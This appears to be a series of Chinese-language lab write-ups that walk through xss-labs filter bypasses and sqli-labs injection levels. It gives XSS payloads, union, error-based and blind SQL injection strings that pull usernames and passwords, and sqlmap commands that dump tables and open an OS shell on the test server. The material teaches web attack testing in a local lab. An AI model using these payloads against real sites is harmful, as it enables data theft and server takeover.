  • 攻击者往网页注入恶意 JavaScript 代码, 其他用户访问页面时脚本自动执行, 窃取用户信息, 劫持会话, 篡改页面, 诱导跳转钓鱼.

  • 核心成因: 前端未过滤用户输入, 直接渲染到页面.

1.2 三大分类

  • 01 存储型xss(持久型, 危害最大)

    • 恶意代码存入服务器数据库, 所有访问该页面的用户都会触发

    • 场景:评论区, 留言板, 帖子, 个人简介

    • 示例留言:

      1
      <script>alert(document.cookie)</script>

      存入数据库后, 任何人打开页面都会弹出 Cookie

  • 02 反射型XSS(非持久型)

    • 恶意代码放在 URL 参数里, 点开特制链接才触发, 不存入后端

      后端直接把 keyword 拼到页面展示, 打开链接即执行脚本

  • 03 DOM 型 XSS

    • 漏洞完全发生在前端 JS, 数据不经过后端, 后端无日志记录

    • 原理: JS 直接从 URL, location.hash 获取数据并插入 DOM

    • 示例:

      1
      2
      let search = location.search.slice(1);
      document.getElementById("tip").innerHTML = search;

2.0 XSS实战

2.1 XSS绕过决策树

  • 01 HTML标签之间

    1
    <div>你的输入</div>
    1
    2
    3
    <script>alert(1)</script>
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>

    标准Payload

  • 02 HTML属性值内

    1
    <input value="你的输入">
    1
    " onclick=alert(1) "

    思路: 用” 闭合value属性, 用事件触发

  • 03 JavaScript代码内

    1
    <script>var name='你的输入';</script>
    1
    2
    '; alert(1); //
    "; alert(1); //
  • 04 href属性内

    1
    <a href="你的输入">link</a>
    1
    javascript:alert(1)

2.2 标准验证Payload

攻击向量 Payload
<script>标签 <script>alert(1)</script>
<img>事件 <img src=x onerror=alert(1)>
鼠标点击事件 " onclick="alert(1)
<a>伪协议 <a href="javascript:alert(1)">click</a>

该Payload验证, 出现弹窗即存在xss漏洞


2.3 xss-labs通关实战

  • Level 1

    1
    <script>alert(1)</script>

    该Payload直接通关


  • Level 2

    • 测试Payload: <Script'"Oonn>(后续关卡均使用该Payload测试)

    • 查看源码

    可见 <> 未被过滤,但 Payload 仍在 value 属性内,需用 "> 提前闭合

    1
    "><script>alert(1)</script>

  • Level 3

    可见在第17行代码中, <> 和 “被编码, 尝试使用鼠标点击事件onclick

    1
    'onclick='alert(1)

    输入框中写入Payload后点击触发事件过关


  • Level 4

    1
    <input name=keyword  value="Script'"Oonn">

    可见Payload被过滤掉<>, 使用和Level 3相同Payload即可, 只需修改闭合符

    1
    "onclick="alert(1)


  • Level 5

    1
    <input name=keyword  value="<scr_ipt"'oo_nn>">

    可见script和on关键字被过滤

    使用伪协议:

    1
    "><a href="javascript:alert(1)">click</a>


  • Level 6

    1
    <input name=keyword  value="<Script"'Oo_nn>">

    on事件被过滤, 但大小写script混合未过滤

    使用大小写混合:

    1
    "><Script>alert(1)</script>

    成功跳转至Level 7


  • Level 7

    1
    <input name=keyword  value="<"'on>">

    整个script均被过滤, 但on还剩一个, 证明只做一次过滤

    使用双写:

    1
    "><scscriptript>alert(1)</scscriptript>

    逻辑: 源码只过滤一次script关键字, 双写刚好只剩一个完整<script></script>


  • Level 8

    源码可见注入发生在中, 且script会被过滤, 使用编码器将s编码&#x73;

    使用伪协议:

    1
    java&#x73;cript:alert(1)


  • Level 9

    将链接改为标准格式即可

    1
    java&#x73;cript:alert('http://baidu.com')


  • Level 10

    • 主页无输入框, 且keyword的参数不影响value(通过以下源码可知)

    通过源码可知, 传参点在input内

    • 对t_link, t_history, t_sort 三个字段分别传参测试

    t_link=1 t_history=1 t_sort=1

    可见注入点在t_sort字段中, 构造以下payload

    1
    click" type="button" onclick="alert(1)


  • Level 11

    通过以上源码可知, 注入点在t_ref 且或许类似于Request的Referer字段, 利用burpsuite测试

    抓包数据印证猜测无误, 本页面确实是由level 10 通过构造的t_sort Payload跳转

    1
    click" type="button" onclick="alert(1)
    • 将Request中Referer字段值替换为以上Payload, Forward后得到以下结果:


  • Level 12

    通过源码可知, t_ua 为Request中User-Agent字段, 同样使用burpsuite抓包

    1
    click" type="button" onclick="alert(1)
    • 将Request中User-Agent字段值替换为以上Payload, Forward后得到以下结果:


  • Level 13

    通过源码可知, t_cook 为Request中Cookie字段, 同样使用burpsuite抓包

    1
    click" type="button" onclick="alert(1)
    • 将Request中Cookie字段值替换为以上Payload, Forward后得到以下结果:


2.4 总结

Level 考察点
1, 2 无过滤反射型
3, 4 <>被编码 事件属性绕过
5 <a>伪协议
6 大小写混合
7 双写绕过
8, 9 伪协议+实体化编码
10 隐藏属性+事件属性
11, 12, 13 HTTP协议+Request请求头报文+隐藏属性+事件属性

Level 1-9 聚焦标签与属性注入绕过, Level 10-13 则将攻击面扩展到HTTP请求头与隐藏参数, 体现了真实攻防中的信息收集能力


Environment: PHP 7.3.4 + MySQL 5.7.26

Lab: sqli-labs Less-8


1.0 介绍

1.1 SQLMap是什么:

SQLMap 是一款自动化检测和利用 SQL 注入漏洞的开源工具。它负责你手工做完“确认注入点, 闭合方式, 注入类型”之后的重复劳动——自动化拖库, 拿 Shell。

1.2 参数及作用

参数 用途 示例
-u 指定GET请求的URL sqlmap -u “url ?id=1”
-r 从文件加载HTTP请求(POST, Cookie) sqlmap -r request.txt
-m 批量扫描多个URL(文件列表) sqlmap -m urls.txt
-p 指定要测试的参数(多参数时用) sqlmap -u “…” -p username
注入检测与配置
–level 检测深度1-5,默认1; 2会检测Cookie, 3检测User-Agent/Referer --level 3 会测 HTTP 头注入
–risk 风险等级 1-3。2 会测 OR 1=1,3 会测 OR 更新数据 --risk 2 可能修改数据库
–prefix 指定 Payload 的前缀(闭合符号) –prefix=”1’”
–suffix 指定 Payload 的后缀(注释符) –suffix=”–+”
–technique 指定注入类型:B(布尔盲注),T(时间盲注),U(UNION),E(报错),S(堆叠) 手工确认后,用 --technique=B 只跑盲注,加速扫描
数据获取
–dbs 列出所有数据库 sqlmap -u “…” –dbs
–current-db 当前库名 sqlmap -u “…” –current-db
-D 指定数据库 -D security
–tables 列出表 -D security –tables
-T 指定表 -T users
–columns 列出列 -D security -T users –columns
-C 指定列(逗号分隔) -C username,password
–dump 拖出数据 -D security -T users –dump
–dump-format 输出格式 CSV,HTML,SQLITE
系统交互 前提条件
–os-shell 获取系统 Shell MySQL 有写文件权限、知道绝对路径、支持堆叠注入
–os-cmd 执行单条系统命令 同上
–file-read 读取目标文件 有文件读权限
–file-write 上传文件到目标 有文件写权限
–file-dest 指定目标文件路径 有文件写权限

1.3 输出信息解读

SQLMap 输出信息 含义 你的行动
[INFO] testing for SQL injection on parameter 'id' 正在测试注入点 等待结果
[INFO] parameter 'id' is 'MySQL >= 5.0' injectable 确认注入存在,目标为 MySQL 可以直接用 --dbs 爆库
[CRITICAL] connection timed out 网络超时 降低 --threads 或加 --delay
[WARNING] the SQL query provided does not return any output 注入点无回显,SQLMap 切换盲注 耐心等待,或指定 --technique
[INFO] fetching tables for database: 'security' 正在提取表名 等待,不要中断
[INFO] retrieved: users 成功提取到表名 继续下一步
[INFO] the back-end DBMS is MySQL 识别出数据库类型 可用 MySQL 特有函数(如 LOAD_FILE)

1.4 高级用法

参数 用途
–tamper 调用绕过脚本(如 space2comment 绕过空格过滤)
–threads 并发线程数(1-10),盲注时提速
–delay 每次请求间隔秒数,防封 IP
–proxy 通过代理发送(如 --proxy http://127.0.0.1:8080 走 Burp)
–random-agent 随机 User-Agent,避免简单防护
–batch 所有选项选默认,全自动化
–flush-session 清除缓存重新测试,防止误报

2.0 靶场实战

01 确认注入点符号闭合方式

1
2
?id=1'     --报错
?id=1' --+ --恢复

02 确认有无回显

1
2
?id=1' order by 4 --+             --探测无反应
?id=1' union select 1,2,3,4 --+ --探测无反应

03 使用报错方式

1
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

页面无任何报错回显

以上联合注入和报错均不能使用,尝试使用盲注

04 布尔盲注, 探测数据库字段长度看页面变化

1
?id=1' and length(database())=8 --+

可见该数据库名字段长度是8, 布尔盲注生效

05 使用sqlmap进行快速拖库

  • 信息梳理
    • 该注入点类型为布尔盲注
    • 数据库名字段长度=8
    • GET型
  • 获取当前数据库
1
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --technique=B --current-db

如上图, 布尔盲注成功注入, 获取当前数据库, 库名为 security, 也反证前面获取字段长度无误

  • 获取当前数据库所有表
1
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" -D security --tables

成功获取security下所有数据表

  • 获取指定表所有字段
1
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" -D security -T users --columns

可见users表中有3个字段,分别是 id password username

  • 获取指定字段数据
1
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" -D security -T users -C "username,password" --dump

如图, 数据被打印在控制台, 同时默认会在用户\AppData\Local\sqlmap\output\127.0.0.1\dump\security下生成csv文件存放本次结果

  • 获取系统shell
1
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --os-shell

命令执行后, 第一个选项是当前网站语言, 选择[5]PHP

第二个选项是选择指定目录,这里选择[2], (靶场部署时路径透明)

如图已经成功拿到shell

  • os-shell可执行操作:
    • 获取服务器地址
    • 写入内容
      • 文本
      • 代码
1
2
3
4
5
# 获取网络信息
ipconfig --windows
ifconfig/ip a --linux
# 写入内容
echo xxx > 路径/文件名
  • 文件写入测试:
1
os-shell> echo hello > D:\phpstudy\WWW\sqli-labs\Less-8\hello.txt

以上操作均在本地靶场环境进行,仅供安全学习与授权测试使用,请勿用于未授权攻击。

The above operations are carried out in the local shooting range environment and are only for safety learning and authorized testing purposes. Please do not use them for unauthorized attacks.

Environment: PHP 7.3.4 + MySQL 5.7.26

Lab: sqli-labs Less-8


1.0 布尔盲注&延时盲注函数

在布尔注入及延时注入中, 常用函数如下:

序号 函数 注释
1 if(条件,返回值1,返回值2) 判断条件, 若为真返回(返回值1), 否则为返回值2
2 substr(str,1,2) 从第1位开始截取’str’的长度为2 (st)
3 length(database())=8 判断数据库名称长度是否为8
4 ascii(s)=115 判断字母’s’编码是否为115
5 sleep(n) 延时输出结果,n为秒数

手工注入流程(布尔盲注):

01 判断数据库字符长度

1
?id=1' and length(database())=8 --+

当前数据库名长度=8

02 猜解数据库名,(采用ascii编码)

1
?id=1' and ascii(substr(database(), 1,1))=115 --+

猜测正确,第一位确实为 ‘115’, 小写字母 ‘s’, 继续猜剩余7位即可

03 猜解表名长度

1
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+

当前数据库第一个表, 表名长度=6

04 猜解数据表名

1
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1,1))=114 --+

当前库第一个表,第一个字母并非 ‘114’ , ‘r’

05 猜解列名

1
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1), 1,1))=114 --+

users 表中第一个字段首字母并非 ‘114’,’r’

…

盲注每一步都需要猜解大量字符, 以上是标准Payload, 实际过程中使用二分法思路结合ASCII编码进行.

延时盲注:

延时盲注即在布尔盲注的语句中添加条件判断if (IF(条件, sleep(秒数), 0)) , 标准格式如下:

1
?id=1' and if(length(database())=8,sleep(3),0)--+

以上语句为真, 执行sleep(3) , 如上图, 浏览器会有加载标识

Environment: PHP 7.3.4 + MySQL 5.7.26
Lab: sqli-labs Less-5 & Less-11

1.0 报错注入

01 逻辑原理:

  • 当无union回显时,优先使用报错注入

  • updatexml 函数在处理第二个参数(XPath 路径)时,若遇到非法 XPath 表达式会抛出错误,并将错误内容直接返回到页面

02 报错注入Payload模板:

1
?id=1[闭合符号] and updatexml(1, concat(0x7e, ([标量子查询]), 0x7e), 1) [注释]

1.1 手工注入流程

01 符号闭合, 确认报错

1
?id=1'报错 | ?id=1'--+ 恢复

02 爆库名

1
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

03 爆表名

1
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+

通过修改 limit 偏移量(0,1 → 1,1 → …)可逐表爆出所有表名。此处以 limit 3,1 直接定位到第 4 个表(users)作为示例

limit 3,1 第四个表为users

04 爆列名

1
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)--+

limit 1,1, limit 2,1 分别为 username、password 字段

05 爆数据

1
?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 0,1),0x7e),1)--+

使用 limit 逐行提取数据即可

1.2 报错长度限制与绕过

updatexml 的报错信息最长返回 32 个字符,使用 group_concat 聚合多行时极易被截断。常用两种绕过方式:

方式 Payload 特征 优点 缺点
逐行提取 concat + limit 0,1 递增 稳定不截断 需多次请求
分段读取 substr(group_concat(...), 1, 30) 一次性聚合 需手工拼接结果

1.3 POST 报错注入(Less-11)

POST 场景只需将注释符改为 #,其余步骤完全一致, 例如:

1
-admin' and updatexml(1,concat(0x7e,database(),0x7e),1) #

  • 或用 Burp Suite:
1
uname=-admin' and updatexml(1,concat(0x7e,database(),0x7e),1) # &passwd=&submit=Submit

Environment: PHP 7.3.4 + MySQL 5.7.26

Lab: sqli-labs Less-1, Less-3, & Less-4


1.0 介绍

在上一篇文章[Union Injection]中, 逐步剖析了数字型注入(Less-2)关卡, 这篇文章开始转向字符型注入,他增加了一个关键步骤: 符号闭合,也就是通过精心拼接单引号、双引号或括号,把原本破坏 SQL 语法的恶意输入“伪装”成合法的查询语句,从而成功注入我们想要的 Payload

为什么要学字符型注入?

在真实 Web 应用中,绝大多数用户输入的参数都是被引号包裹的字符串(如登录名、搜索关键词、文章标题),字符型注入的占比远高于数字型

1.1 SQL语句及URL中常用注释

注释类型 SQL 语句中的语法要求 GET 请求 URL 中的写法 POST 请求 Body 中的写法
单行注释 -- 两个减号后必须跟一个空格(或制表符等控制字符) 用 --+ 或 --%20
+ 解码为空格,%20 也是空格
直接写 -- (减号后带空格)
单行注释 # 从 # 开始到行尾的所有内容均为注释 必须编码为 %23
(浏览器默认将 # 解析为页面锚点, 不发送给服务器)
直接写 #

2.0 手工注入

01 判断有无注入点(Less-1)

  • ?id=1 and 1=1 → 页面正常返回值
  • ?id=1 and 1=2 → 页面正常返回值

分析: ?id=1 and 1=2 返回值应该为false, 故暂且认为该漏洞为字符类型

以下测试字符型:

  • ?id=1’ → 报错

  • ?id=1’ and 1=1 –+ → 页面正常返回值

  • ?id=1’ and 1=2 –+ → 无返回值

按照上述方法,可构造出Less-3 & Less-4 的闭合符号

Less-3 Less-4
?id=’) ?id=”)

02 猜解列数

?id=1’ order by 3 –+ → 正常返回

?id=1’ order by 4 –+ → 报错 Unknown column ‘4’ in ‘order clause’

通过以上Payload可知,当前查询涉及的表共有 3 列

03 定位回显

1
?id=-1' union select 1,2,3 --+

通过以上步骤, 确定三个Less的基本信息如下:

Lab Character Column display position
Less-1 ‘ 3 2, 3
Less-3 ‘) 3 2, 3
Less-4 “) 3 2, 3

综合以上信息,即可构建注入Payload:

  • 爆数据库名
1
?id=-1' union select null,database(),null --+
  • 爆所有表
1
?id=-1' union select null,group_concat(table_name),null from information_schema.tables where table_schema=database() --+
  • 爆字段
1
?id=-1' union select null,group_concat(column_name),null from information_schema.columns where table_schema=database() and table_name='users' --+
  • 爆数据
1
?id=-1' union select null,group_concat(username,0x3a,password,0x0a),null from security.users --+

综上, 完整注入(Less-1), 对Less-3 & Less-4使用同样思路注入即可, 只需修改对应Payload中闭合字符

0%